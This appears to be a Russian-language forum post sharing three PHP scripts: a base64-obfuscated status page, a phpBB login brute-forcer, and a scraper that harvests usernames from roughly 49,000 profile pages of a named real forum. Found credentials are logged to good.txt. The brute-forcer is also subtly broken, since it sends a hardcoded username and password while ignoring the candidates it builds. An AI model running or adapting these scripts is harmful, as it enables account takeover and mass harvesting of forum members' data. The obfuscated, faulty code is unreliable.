phpbb brute второй ветки + грабер пользователей

index.php

PHP:

<?php 
eval(base64_decode('JHNzID0gZmlsZSgnbG9naW5zLnR4dCcpOwokc3NzID0gY291bnQoJHNzKTsKJGdvbyA9IGZpbGUoJ2dvb2QudHh0Jyk7CiRnb29kID0gY291bnQoJGdvbyk7CiRiYSA9IGZpbGUoJ2JhZC50eHQnKTsKJGJhZCA9IGNvdW50KCRiYSk7CiR2ZXJzaW9uID0gJzAuNCc7CmVjaG8gPDw8SFRNTAo8bWV0YSBodHRwLWVxdWl2PVJlZnJlc2ggY29udGVudD0nNTsgdXJsPSdpbmRleC5waHAnPgo8bGluayBocmVmPSJzdHlsZS5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgoKPGJvZHk+Cgo8ZGl2IGFsaWduPSJib3R0b20iPgoKPHA+Jm5ic3A7PC9wPjxwPiZuYnNwOzwvcD48cD4mbmJzcDs8L3A+CjxwPiZuYnNwOzwvcD48cD4mbmJzcDs8L3A+PHA+Jm5ic3A7PC9wPgo8L2Rpdj4KCjx0YWJsZSB3aWR0aD0iNTAwIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSI1IiBjZWxsc3BhY2luZz0iMSIgYmdjb2xvcj0iI0NDQ0NDQyI+CgogIDx0cj4KCiAgICA8dGQgYmdjb2xvcj0iI2RlZTJlYSI+PHNwYW4gY2xhc3M9Im1lbnVoZWFkZXIiPjxzdHJvbmc+PGZvbnQgY29sb3I9IiNGRjY2MDAiPnBocGJiIGJydXRlZm9yY2U8L2ZvbnQ+PC9zdHJvbmc+PC9zcGFuPiA8YnI+CgogICAgICAgICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IiM2NjY2NjYiPlZlcnNpb246ICR2ZXJzaW9uPC9mb250PgoKICAgICAgPC90ZD4KCiAgPC90cj4KCiAgPHRyPgoKICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIj48Zm9udCBjb2xvcj0jNjk2OTY5PkxvZ2luczogJHNzczwvZm9udD48L3RkPgoKICA8L3RyPgoKICA8dHI+CgogICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiPgoKPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CgogICAgICAgIDx0cj4KCiAgICAgICAgICA8dGQ+PGZvbnQgY29sb3I9IiM2OTY5NjkiPkdvb2Q6ICRnb29kPGJyPkJhZDogJGJhZDwvZm9udD4KCjwvdGQ+CgogICAgICAgICAgPHRkIGFsaWduPSJyaWdodCI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPkJ5IFthYzFEXSDCqSAyMDEwPC9mb250PjwvdGQ+CgogICAgICAgIDwvdHI+CgogICAgICA8L3RhYmxlPiAgICAgICAgPC90ZD4KCiAgPC90cj4KCjwvdGFibGU+Cgo8L2JvZHk+CgoKSFRNTDsK'));
?>


phpbb_brute.php

PHP:

<?
ignore_user_abort(1);
set_time_limit(0);
$logins = file('login.txt');
$password = "123456";
$count = count($logins);
$good = 'good.txt';
$bad = 'bad.txt';
$badz = fopen($bad,'a+');
$goodz = fopen($good,'a+');

for ($i=0;$i<$count;$i++)
{
$username = $logins[$i];
$username = explode("\r\n", $username);
$username = $username[0];
$password = $username.$username;

$CURL = curl_init();
curl_setopt ($CURL, CURLOPT_URL, 'http://asusmobile.ru/board/login.php');
curl_setopt ($CURL, CURLOPT_FAILONERROR, 1);
curl_setopt ($CURL, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($CURL, CURLOPT_RETURNTRANSFER,1);
curl_setopt ($CURL, CURLOPT_TIMEOUT, 20);
curl_setopt($CURL, CURLOPT_USERAGENT, '');
curl_setopt ($CURL, CURLOPT_POST, 1); 
curl_setopt($CURL, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($CURL, CURLOPT_POSTFIELDS, 'username=quest&password=123456&redirect=&login=%C2%F5%EE%E4'); 
$resp  = curl_exec ($CURL);
if (eregi('Выход',$resp))
{
    $ft = "[$username:$password]\r\n";
    fputs($goodz,$ft);
}
else
{
    $ff = "[$username:$password]\r\n";
    fputs($badz,$ff);
}
Sleep(2);

}
?>


phpbb_users_grabber.php

PHP:

<?
ignore_user_abort(1);
set_time_limit(0);
$ft = fopen('logins.txt','a+');
for ($i=2;$i<49199;$i++)
{
$st = file_get_contents("http://asusmobile.ru/board/profile.php?mode=viewprofile&u=".$i);

preg_match_all("/пользователе (.*)/", $st, $mat);
$text = $mat[0][0]."\r\n";
$text = str_replace('пользователе ','',$text);
$text = str_replace('</span></b></td>','',$text);
fputs($ft,$text);
Sleep(1);
}
?>